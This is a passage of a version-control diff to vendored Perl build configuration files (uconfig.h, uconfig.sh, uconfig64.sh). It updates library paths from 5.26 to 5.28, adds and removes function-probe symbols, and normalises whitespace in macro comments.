  *	This symbol, if defined, indicates that the getlogin_r routine
@@ -4756,8 +4596,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getlogin_r
  *	is defined.
  */
-/*#define HAS_GETLOGIN_R	   / **/
-#define GETLOGIN_R_PROTO 0	   /**/
+/*#define HAS_GETLOGIN_R	/ **/
+#define GETLOGIN_R_PROTO 0	/**/
 
 /* HAS_GETNETBYADDR_R:
  *	This symbol, if defined, indicates that the getnetbyaddr_r routine
@@ -4769,8 +4609,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyaddr_r
  *	is defined.
  */
-/*#define HAS_GETNETBYADDR_R	   / **/
-#define GETNETBYADDR_R_PROTO 0	   /**/
+/*#define HAS_GETNETBYADDR_R	/ **/
+#define GETNETBYADDR_R_PROTO 0	/**/
 
 /* HAS_GETNETBYNAME_R:
  *	This symbol, if defined, indicates that the getnetbyname_r routine
@@ -4782,8 +4622,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetbyname_r
  *	is defined.
  */
-/*#define HAS_GETNETBYNAME_R	   / **/
-#define GETNETBYNAME_R_PROTO 0	   /**/
+/*#define HAS_GETNETBYNAME_R	/ **/
+#define GETNETBYNAME_R_PROTO 0	/**/
 
 /* HAS_GETNETENT_R:
  *	This symbol, if defined, indicates that the getnetent_r routine
@@ -4795,8 +4635,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getnetent_r
  *	is defined.
  */
-/*#define HAS_GETNETENT_R	   / **/
-#define GETNETENT_R_PROTO 0	   /**/
+/*#define HAS_GETNETENT_R	/ **/
+#define GETNETENT_R_PROTO 0	/**/
 
 /* HAS_GETPROTOBYNAME_R:
  *	This symbol, if defined, indicates that the getprotobyname_r routine
@@ -4808,8 +4648,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobyname_r
  *	is defined.
  */
-/*#define HAS_GETPROTOBYNAME_R	   / **/
-#define GETPROTOBYNAME_R_PROTO 0	   /**/
+/*#define HAS_GETPROTOBYNAME_R	/ **/
+#define GETPROTOBYNAME_R_PROTO 0	/**/
 
 /* HAS_GETPROTOBYNUMBER_R:
  *	This symbol, if defined, indicates that the getprotobynumber_r routine
@@ -4821,8 +4661,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotobynumber_r
  *	is defined.
  */
-/*#define HAS_GETPROTOBYNUMBER_R	   / **/
-#define GETPROTOBYNUMBER_R_PROTO 0	   /**/
+/*#define HAS_GETPROTOBYNUMBER_R	/ **/
+#define GETPROTOBYNUMBER_R_PROTO 0	/**/
 
 /* HAS_GETPROTOENT_R:
  *	This symbol, if defined, indicates that the getprotoent_r routine
@@ -4834,8 +4674,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getprotoent_r
  *	is defined.
  */
-/*#define HAS_GETPROTOENT_R	   / **/
-#define GETPROTOENT_R_PROTO 0	   /**/
+/*#define HAS_GETPROTOENT_R	/ **/
+#define GETPROTOENT_R_PROTO 0	/**/
 
 /* HAS_GETPWENT_R:
  *	This symbol, if defined, indicates that the getpwent_r routine
@@ -4847,8 +4687,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwent_r
  *	is defined.
  */
-/*#define HAS_GETPWENT_R	   / **/
-#define GETPWENT_R_PROTO 0	   /**/
+/*#define HAS_GETPWENT_R	/ **/
+#define GETPWENT_R_PROTO 0	/**/
 
 /* HAS_GETPWNAM_R:
  *	This symbol, if defined, indicates that the getpwnam_r routine
@@ -4860,8 +4700,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r
  *	is defined.
  */
-/*#define HAS_GETPWNAM_R	   / **/
-#define GETPWNAM_R_PROTO 0	   /**/
+/*#define HAS_GETPWNAM_R	/ **/
+#define GETPWNAM_R_PROTO 0	/**/
 
 /* HAS_GETPWUID_R:
  *	This symbol, if defined, indicates that the getpwuid_r routine
@@ -4873,8 +4713,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r
  *	is defined.
  */
-/*#define HAS_GETPWUID_R	   / **/
-#define GETPWUID_R_PROTO 0	   /**/
+/*#define HAS_GETPWUID_R	/ **/
+#define GETPWUID_R_PROTO 0	/**/
 
 /* HAS_GETSERVBYNAME_R:
  *	This symbol, if defined, indicates that the getservbyname_r routine
@@ -4886,8 +4726,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r
  *	is defined.
  */
-/*#define HAS_GETSERVBYNAME_R	   / **/
-#define GETSERVBYNAME_R_PROTO 0	   /**/
+/*#define HAS_GETSERVBYNAME_R	/ **/
+#define GETSERVBYNAME_R_PROTO 0	/**/
 
 /* HAS_GETSERVBYPORT_R:
  *	This symbol, if defined, indicates that the getservbyport_r routine
@@ -4899,8 +4739,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r
  *	is defined.
  */
-/*#define HAS_GETSERVBYPORT_R	   / **/
-#define GETSERVBYPORT_R_PROTO 0	   /**/
+/*#define HAS_GETSERVBYPORT_R	/ **/
+#define GETSERVBYPORT_R_PROTO 0	/**/
 
 /* HAS_GETSERVENT_R:
  *	This symbol, if defined, indicates that the getservent_r routine
@@ -4912,8 +4752,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r
  *	is defined.
  */
-/*#define HAS_GETSERVENT_R	   / **/
-#define GETSERVENT_R_PROTO 0	   /**/
+/*#define HAS_GETSERVENT_R	/ **/
+#define GETSERVENT_R_PROTO 0	/**/
 
 /* HAS_GETSPNAM_R:
  *	This symbol, if defined, indicates that the getspnam_r routine
@@ -4925,8 +4765,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r
  *	is defined.
  */
-/*#define HAS_GETSPNAM_R	   / **/
-#define GETSPNAM_R_PROTO 0	   /**/
+/*#define HAS_GETSPNAM_R	/ **/
+#define GETSPNAM_R_PROTO 0	/**/
 
 /* HAS_GMTIME_R:
  *	This symbol, if defined, indicates that the gmtime_r routine
@@ -4938,9 +4778,15 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r
  *	is defined.
  */
-/*#define HAS_GMTIME_R	   / **/
-#define GMTIME_R_PROTO 0	   /**/
+/*#define HAS_GMTIME_R	/ **/
+#define GMTIME_R_PROTO 0	/**/
 
+/* HAS_LOCALECONV_L:
+ *	This symbol, if defined, indicates that the localeconv_l routine is
+ *	available to query certain information about a locale.
+ */
+/*#define HAS_LOCALECONV_L		/ **/
+
 /* HAS_LOCALTIME_R:
  *	This symbol, if defined, indicates that the localtime_r routine
  *	is available to localtime re-entrantly.
@@ -4964,9 +4810,27 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r
  *	is defined.
  */
-/*#define HAS_LOCALTIME_R	   / **/
-#define LOCALTIME_R_PROTO 0	   /**/
+/*#define HAS_LOCALTIME_R	/ **/
+#define LOCALTIME_R_PROTO 0	/**/
 
+/* HAS_MBRLEN:
+ *	This symbol, if defined, indicates that the mbrlen routine is
+ *	available to get the length of multi-byte character strings.
+ */
+/*#define HAS_MBRLEN	/ **/
+
+/* HAS_MBRTOWC:
+ *	This symbol, if defined, indicates that the mbrtowc routine is
+ *	available to convert a multi-byte character into a wide character.
+ */
+/*#define HAS_MBRTOWC	/ **/
+
+/* HAS_THREAD_SAFE_NL_LANGINFO_L:
+ *	This symbol, when defined, indicates presence of the nl_langinfo_l()
+ *	function, and that it is thread-safe.
+ */
+/*#define HAS_THREAD_SAFE_NL_LANGINFO_L	/ **/
+
 /* OLD_PTHREAD_CREATE_JOINABLE:
  *	This symbol, if defined, indicates how to create pthread
  *	in joinable (aka undetached) state.  NOTE: not defined
@@ -5012,8 +4876,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r
  *	is defined.
  */
-/*#define HAS_RANDOM_R	   / **/
-#define RANDOM_R_PROTO 0	   /**/
+/*#define HAS_RANDOM_R	/ **/
+#define RANDOM_R_PROTO 0	/**/
 
 /* HAS_READDIR64_R:
  *	This symbol, if defined, indicates that the readdir64_r routine
@@ -5025,8 +4889,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r
  *	is defined.
  */
-/*#define HAS_READDIR64_R	   / **/
-#define READDIR64_R_PROTO 0	   /**/
+/*#define HAS_READDIR64_R	/ **/
+#define READDIR64_R_PROTO 0	/**/
 
 /* HAS_READDIR_R:
  *	This symbol, if defined, indicates that the readdir_r routine
@@ -5038,8 +4902,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r
  *	is defined.
  */
-/*#define HAS_READDIR_R	   / **/
-#define READDIR_R_PROTO 0	   /**/
+/*#define HAS_READDIR_R	/ **/
+#define READDIR_R_PROTO 0	/**/
 
 /* HAS_SETGRENT_R:
  *	This symbol, if defined, indicates that the setgrent_r routine
@@ -5051,8 +4915,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r
  *	is defined.
  */
-/*#define HAS_SETGRENT_R	   / **/
-#define SETGRENT_R_PROTO 0	   /**/
+/*#define HAS_SETGRENT_R	/ **/
+#define SETGRENT_R_PROTO 0	/**/
 
 /* HAS_SETHOSTENT_R:
  *	This symbol, if defined, indicates that the sethostent_r routine
@@ -5064,8 +4928,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r
  *	is defined.
  */
-/*#define HAS_SETHOSTENT_R	   / **/
-#define SETHOSTENT_R_PROTO 0	   /**/
+/*#define HAS_SETHOSTENT_R	/ **/
+#define SETHOSTENT_R_PROTO 0	/**/
 
 /* HAS_SETLOCALE_R:
  *	This symbol, if defined, indicates that the setlocale_r routine
@@ -5077,8 +4941,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r
  *	is defined.
  */
-/*#define HAS_SETLOCALE_R	   / **/
-#define SETLOCALE_R_PROTO 0	   /**/
+/*#define HAS_SETLOCALE_R	/ **/
+#define SETLOCALE_R_PROTO 0	/**/
 
 /* HAS_SETNETENT_R:
  *	This symbol, if defined, indicates that the setnetent_r routine
@@ -5090,8 +4954,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r
  *	is defined.
  */
-/*#define HAS_SETNETENT_R	   / **/
-#define SETNETENT_R_PROTO 0	   /**/
+/*#define HAS_SETNETENT_R	/ **/
+#define SETNETENT_R_PROTO 0	/**/
 
 /* HAS_SETPROTOENT_R:
  *	This symbol, if defined, indicates that the setprotoent_r routine
@@ -5103,8 +4967,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r
  *	is defined.
  */
-/*#define HAS_SETPROTOENT_R	   / **/
-#define SETPROTOENT_R_PROTO 0	   /**/
+/*#define HAS_SETPROTOENT_R	/ **/
+#define SETPROTOENT_R_PROTO 0	/**/
 
 /* HAS_SETPWENT_R:
  *	This symbol, if defined, indicates that the setpwent_r routine
@@ -5116,8 +4980,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r
  *	is defined.
  */
-/*#define HAS_SETPWENT_R	   / **/
-#define SETPWENT_R_PROTO 0	   /**/
+/*#define HAS_SETPWENT_R	/ **/
+#define SETPWENT_R_PROTO 0	/**/
 
 /* HAS_SETSERVENT_R:
  *	This symbol, if defined, indicates that the setservent_r routine
@@ -5129,8 +4993,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r
  *	is defined.
  */
-/*#define HAS_SETSERVENT_R	   / **/
-#define SETSERVENT_R_PROTO 0	   /**/
+/*#define HAS_SETSERVENT_R	/ **/
+#define SETSERVENT_R_PROTO 0	/**/
 
 /* HAS_SRAND48_R:
  *	This symbol, if defined, indicates that the srand48_r routine
@@ -5142,8 +5006,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r
  *	is defined.
  */
-/*#define HAS_SRAND48_R	   / **/
-#define SRAND48_R_PROTO 0	   /**/
+/*#define HAS_SRAND48_R	/ **/
+#define SRAND48_R_PROTO 0	/**/
 
 /* HAS_SRANDOM_R:
  *	This symbol, if defined, indicates that the srandom_r routine
@@ -5155,8 +5019,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r
  *	is defined.
  */
-/*#define HAS_SRANDOM_R	   / **/
-#define SRANDOM_R_PROTO 0	   /**/
+/*#define HAS_SRANDOM_R	/ **/
+#define SRANDOM_R_PROTO 0	/**/
 
 /* HAS_STRERROR_R:
  *	This symbol, if defined, indicates that the strerror_r routine
@@ -5168,9 +5032,21 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_strerror_r
  *	is defined.
  */
-/*#define HAS_STRERROR_R	   / **/
-#define STRERROR_R_PROTO 0	   /**/
+/*#define HAS_STRERROR_R	/ **/
+#define STRERROR_R_PROTO 0	/**/
 
+/* HAS_STRTOD_L:
+ *	This symbol, if defined, indicates that the strtod_l routine is
+ *	available to convert strings to long doubles.
+ */
+/*#define HAS_STRTOD_L		/ **/
+
+/* HAS_STRTOLD_L:
+ *	This symbol, if defined, indicates that the strtold_l routine is
+ *	available to convert strings to long doubles.
+ */
+/*#define HAS_STRTOLD_L		/ **/
+
 /* HAS_TMPNAM_R:
  *	This symbol, if defined, indicates that the tmpnam_r routine
  *	is available to tmpnam re-entrantly.
@@ -5181,8 +5057,8 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_tmpnam_r
  *	is defined.
  */
-/*#define HAS_TMPNAM_R	   / **/
-#define TMPNAM_R_PROTO 0	   /**/
+/*#define HAS_TMPNAM_R	/ **/
+#define TMPNAM_R_PROTO 0	/**/
 
 /* HAS_TTYNAME_R:
  *	This symbol, if defined, indicates that the ttyname_r routine
@@ -5194,18 +5070,18 @@
  *	REENTRANT_PROTO_T_ABC macros of reentr.h if d_ttyname_r
  *	is defined.
  */
-/*#define HAS_TTYNAME_R	   / **/
-#define TTYNAME_R_PROTO 0	   /**/
+/*#define HAS_TTYNAME_R	/ **/
+#define TTYNAME_R_PROTO 0	/**/
 
 /* I_MACH_CTHREADS:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <mach/cthreads.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <mach/cthreads.h>.
  */
 /*#define   I_MACH_CTHREADS	/ **/
 
 /* I_PTHREAD:
- *     This symbol, if defined, indicates to the C program that it should
- *     include <pthread.h>.
+ *	This symbol, if defined, indicates to the C program that it should
+ *	include <pthread.h>.
  */
 /*#define   I_PTHREAD	/ **/
 
@@ -5249,7 +5125,7 @@
 /* HAS_TIMES:
  *	This symbol, if defined, indicates that the times() routine exists.
  *	Note that this became obsolete on some systems (SUNOS), which now
- * use getrusage(). It may be necessary to include <sys/times.h>.
+ *	use getrusage(). It may be necessary to include <sys/times.h>.
  */
 /*#define HAS_TIMES		/ **/
 
@@ -5354,6 +5230,6 @@
 #endif
 
 /* Generated from:
- * a0cea6273c16c1c5d8625665c84bda01926ce960c26873d4e5596b5b02a53e92 config_h.SH
- * b1c042726e6a17692921b6947c4e7c196c5c0cee011667ba719b15af7c31e669 uconfig.sh
+ * 86429d6dea8cb2d81b30da9d916693eb4c04ebeb21969c8df6f470ac77cd5c92 config_h.SH
+ * 472eafc083bb70e26f6130fa170fb8c4370c88404dc212129a44575e82f6c963 uconfig.sh
  * ex: set ro: */

Modified: vendor/perl/dist/uconfig.sh
===================================================================
--- vendor/perl/dist/uconfig.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/uconfig.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -6,8 +6,8 @@
 afsroot='/afs'
 alignbytes='4'
 aphostname='/bin/hostname'
-archlib='/usr/local/lib/perl5/5.26/unknown'
-archlibexp='/usr/local/lib/perl5/5.26/unknown'
+archlib='/usr/local/lib/perl5/5.28/unknown'
+archlibexp='/usr/local/lib/perl5/5.28/unknown'
 archname='unknown'
 asctime_r_proto='0'
 bin='/usr/local/bin'
@@ -42,6 +42,7 @@
 d_PRIx64='undef'
 d_SCNfldbl='undef'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='undef'
 d_accessx='undef'
 d_acosh='undef'
@@ -63,19 +64,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='undef'
-d_bcopy='undef'
 d_bsd='undef'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='undef'
 d_builtin_expect='undef'
-d_bzero='undef'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='undef'
 d_castneg='undef'
 d_cbrt='undef'
-d_charvspr='undef'
 d_chown='undef'
 d_chroot='undef'
 d_chsize='undef'
@@ -118,6 +118,8 @@
 d_drand48_r='undef'
 d_drand48proto='undef'
 d_dup2='undef'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='undef'
 d_endgrent_r='undef'
@@ -140,6 +142,7 @@
 d_faststdio='undef'
 d_fchdir='undef'
 d_fchmod='undef'
+d_fchmodat='undef'
 d_fchown='undef'
 d_fcntl='undef'
 d_fcntl_can_lock='undef'
@@ -281,10 +284,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='undef'
 d_link='undef'
+d_linkat='undef'
 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -310,17 +315,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='undef'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='undef'
 d_mbtowc='undef'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='undef'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='undef'
 d_mkdtemp='undef'
 d_mkfifo='undef'
+d_mkostemp='undef'
 d_mkstemp='undef'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -345,6 +349,7 @@
 d_munmap='undef'
 d_mymalloc='undef'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
 d_newlocale='undef'
@@ -359,10 +364,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='undef'
+d_openat='undef'
 d_pathconf='undef'
 d_pause='undef'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='undef'
 d_poll='undef'
 d_portable='undef'
@@ -397,13 +404,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='undef'
 d_rint='undef'
 d_rmdir='undef'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='undef'
 d_sbrkproto='undef'
 d_scalbn='undef'
 d_scalbnl='undef'
@@ -478,7 +483,6 @@
 d_socklen_t='undef'
 d_sockpair='undef'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='undef'
 d_sqrtl='undef'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -497,19 +501,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='undef'
 d_stdstdio='undef'
-d_strchr='undef'
 d_strcoll='undef'
-d_strctcpy='undef'
-d_strerrm='strerror(e)'
-d_strerror='undef'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='undef'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='undef'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='undef'
+d_strtold_l='undef'
 d_strtoll='undef'
 d_strtoq='undef'
 d_strtoul='define'
@@ -529,6 +532,7 @@
 d_telldir='undef'
 d_telldirproto='undef'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='undef'
 d_times='undef'
@@ -545,6 +549,7 @@
 d_umask='undef'
 d_uname='undef'
 d_union_semun='undef'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='undef'
 d_uselocale='undef'
@@ -558,8 +563,6 @@
 d_void_closedir='undef'
 d_voidsig='undef'
 d_voidtty=''
-d_volatile='undef'
-d_vprintf='define'
 d_vsnprintf='undef'
 d_wait4='undef'
 d_waitpid='undef'
@@ -637,7 +640,6 @@
 i8size='1'
 i8type='signed char'
 i_arpainet='undef'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='undef'
@@ -648,7 +650,6 @@
 i_execinfo='undef'
 i_fcntl='undef'
 i_fenv='undef'
-i_float='undef'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -659,13 +660,10 @@
 i_inttypes='undef'
 i_langinfo='undef'
 i_libutil='undef'
-i_limits='undef'
 i_locale='undef'
 i_machcthr='undef'
 i_malloc='undef'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='undef'
 i_ndbm='undef'
 i_netdb='undef'
@@ -681,12 +679,9 @@
 i_sgtty='undef'
 i_shadow='undef'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='undef'
-i_stddef='define'
 i_stdint='undef'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='undef'
@@ -723,10 +718,8 @@
 i_unistd='undef'
 i_ustat='undef'
 i_utime='undef'
-i_values='undef'
-i_varargs='undef'
-i_varhdr='stdarg.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs='y'
 inc_version_list_init='NULL'
@@ -782,8 +775,8 @@
 perl_static_inline='static'
 phostname='hostname'
 pidtype=int
-privlib='/usr/local/lib/perl5/5.26'
-privlibexp='/usr/local/lib/perl5/5.26'
+privlib='/usr/local/lib/perl5/5.28'
+privlibexp='/usr/local/lib/perl5/5.28'
 procselfexe=''
 prototype='undef'
 ptrsize='4'
@@ -833,11 +826,11 @@
 sig_num_init='0'
 sig_size='1'
 signal_t=int
-sitearch='/usr/local/lib/perl5/5.26/unknown'
-sitearchexp='/usr/local/lib/perl5/5.26/unknown'
-sitelib='/usr/local/lib/perl5/5.26'
+sitearch='/usr/local/lib/perl5/5.28/unknown'
+sitearchexp='/usr/local/lib/perl5/5.28/unknown'
+sitelib='/usr/local/lib/perl5/5.28'
 sitelib_stem='/usr/local/lib/perl5'
-sitelibexp='/usr/local/lib/perl5/5.26'
+sitelibexp='/usr/local/lib/perl5/5.28'
 sizesize=4
 sizetype='size_t'
 socksizetype='int'
@@ -912,7 +905,6 @@
 uvtype='unsigned long'
 uvuformat='"lu"'
 uvxformat='"lx"'
-vaproto='undef'
 vendorarch=''
 vendorarchexp=''
 vendorlib_stem=''

Modified: vendor/perl/dist/uconfig64.sh
===================================================================
--- vendor/perl/dist/uconfig64.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/uconfig64.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,10 +5,9 @@
 afs='false'
 afsroot='/afs'
 alignbytes='8'
-ansi2knr=''
 aphostname='/bin/hostname'
-archlib='/usr/local/lib/perl5/5.26/unknown'
-archlibexp='/usr/local/lib/perl5/5.26/unknown'
+archlib='/usr/local/lib/perl5/5.28/unknown'
+archlibexp='/usr/local/lib/perl5/5.28/unknown'
 archname='unknown64'
 asctime_r_proto='0'
 bin='/usr/local/bin'
@@ -43,6 +42,7 @@
 d_PRIx64='define'
 d_SCNfldbl='define'
 d__fwalk='undef'
+d_accept4='undef'
 d_access='undef'
 d_accessx='undef'
 d_acosh='undef'
@@ -64,19 +64,18 @@
 d_attribute_unused='undef'
 d_attribute_warn_unused_result='undef'
 d_backtrace='undef'
-d_bcmp='undef'
-d_bcopy='undef'
 d_bsd='undef'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='undef'
 d_builtin_expect='undef'
-d_bzero='undef'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='undef'
 d_casti32='undef'
 d_castneg='undef'
 d_cbrt='undef'
-d_charvspr='undef'
 d_chown='undef'
 d_chroot='undef'
 d_chsize='undef'
@@ -119,6 +118,8 @@
 d_drand48_r='undef'
 d_drand48proto='undef'
 d_dup2='undef'
+d_dup3='undef'
+d_duplocale='undef'
 d_eaccess='undef'
 d_endgrent='undef'
 d_endgrent_r='undef'
@@ -141,6 +142,7 @@
 d_faststdio='undef'
 d_fchdir='undef'
 d_fchmod='undef'
+d_fchmodat='undef'
 d_fchown='undef'
 d_fcntl='undef'
 d_fcntl_can_lock='undef'
@@ -282,10 +284,12 @@
 d_lgamma_r='undef'
 d_libm_lib_version='undef'
 d_link='undef'
+d_linkat='undef'
 d_llrint='undef'
 d_llrintl='undef'
 d_llround='undef'
 d_llroundl='undef'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -311,17 +315,16 @@
 d_malloc_good_size='undef'
 d_malloc_size='undef'
 d_mblen='undef'
+d_mbrlen='undef'
+d_mbrtowc='undef'
 d_mbstowcs='undef'
 d_mbtowc='undef'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='undef'
-d_memmove='undef'
-d_memset='define'
+d_memrchr='undef'
 d_mkdir='undef'
 d_mkdtemp='undef'
 d_mkfifo='undef'
+d_mkostemp='undef'
 d_mkstemp='undef'
 d_mkstemps='undef'
 d_mktime64='undef'
@@ -346,6 +349,7 @@
 d_munmap='undef'
 d_mymalloc='undef'
 d_nan='undef'
+d_nanosleep='undef'
 d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='undef'
 d_newlocale='undef'
@@ -360,10 +364,12 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='undef'
+d_openat='undef'
 d_pathconf='undef'
 d_pause='undef'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='undef'
 d_pipe='undef'
 d_poll='undef'
 d_portable='undef'
@@ -398,13 +404,11 @@
 d_remainder='undef'
 d_remquo='undef'
 d_rename='define'
+d_renameat='undef'
 d_rewinddir='undef'
 d_rint='undef'
 d_rmdir='undef'
 d_round='undef'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='undef'
 d_sbrkproto='undef'
 d_scalbn='undef'
 d_scalbnl='undef'
@@ -479,7 +483,6 @@
 d_socklen_t='undef'
 d_sockpair='undef'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='undef'
 d_sqrtl='undef'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -498,19 +501,18 @@
 d_stdio_stream_array='undef'
 d_stdiobase='undef'
 d_stdstdio='undef'
-d_strchr='undef'
 d_strcoll='undef'
-d_strctcpy='undef'
-d_strerrm='strerror(e)'
-d_strerror='undef'
 d_strerror_l='undef'
 d_strerror_r='undef'
 d_strftime='undef'
 d_strlcat='undef'
 d_strlcpy='undef'
+d_strnlen='undef'
 d_strtod='undef'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='undef'
+d_strtold_l='undef'
 d_strtoll='undef'
 d_strtoq='undef'
 d_strtoul='define'
@@ -530,6 +532,7 @@
 d_telldir='undef'
 d_telldirproto='undef'
 d_tgamma='undef'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='undef'
 d_times='undef'
@@ -546,6 +549,7 @@
 d_umask='undef'
 d_uname='undef'
 d_union_semun='undef'
+d_unlinkat='undef'
 d_unordered='undef'
 d_unsetenv='undef'
 d_uselocale='undef'
@@ -559,8 +563,6 @@
 d_void_closedir='undef'
 d_voidsig='undef'
 d_voidtty=''
-d_volatile='undef'
-d_vprintf='define'
 d_vsnprintf='undef'
 d_wait4='undef'
 d_waitpid='undef'
@@ -638,7 +640,6 @@
 i8size='1'
 i8type='signed char'
 i_arpainet='undef'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
 i_crypt='undef'
@@ -649,7 +650,6 @@
 i_execinfo='undef'
 i_fcntl='undef'
 i_fenv='undef'
-i_float='undef'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='undef'
@@ -660,13 +660,10 @@
 i_inttypes='undef'
 i_langinfo='undef'
 i_libutil='undef'
-i_limits='undef'
 i_locale='undef'
 i_machcthr='undef'
 i_malloc='undef'
 i_mallocmalloc='undef'
-i_math='define'
-i_memory='undef'
 i_mntent='undef'
 i_ndbm='undef'
 i_netdb='undef'
@@ -682,12 +679,9 @@
 i_sgtty='undef'
 i_shadow='undef'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='undef'
-i_stddef='define'
 i_stdint='undef'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='undef'
@@ -724,10 +718,8 @@
 i_unistd='undef'
 i_ustat='undef'
 i_utime='undef'
-i_values='undef'
-i_varargs='undef'
-i_varhdr='stdarg.h'
 i_vfork='undef'
+i_wchar='undef'
 i_xlocale='undef'
 ignore_versioned_solibs='y'
 inc_version_list_init='NULL'
@@ -783,8 +775,8 @@
 perl_static_inline='static'
 phostname='hostname'
 pidtype=int
-privlib='/usr/local/lib/perl5/5.26'
-privlibexp='/usr/local/lib/perl5/5.26'
+privlib='/usr/local/lib/perl5/5.28'
+privlibexp='/usr/local/lib/perl5/5.28'
 procselfexe=''
 prototype='undef'
 ptrsize='8'
@@ -834,11 +826,11 @@
 sig_num_init='0'
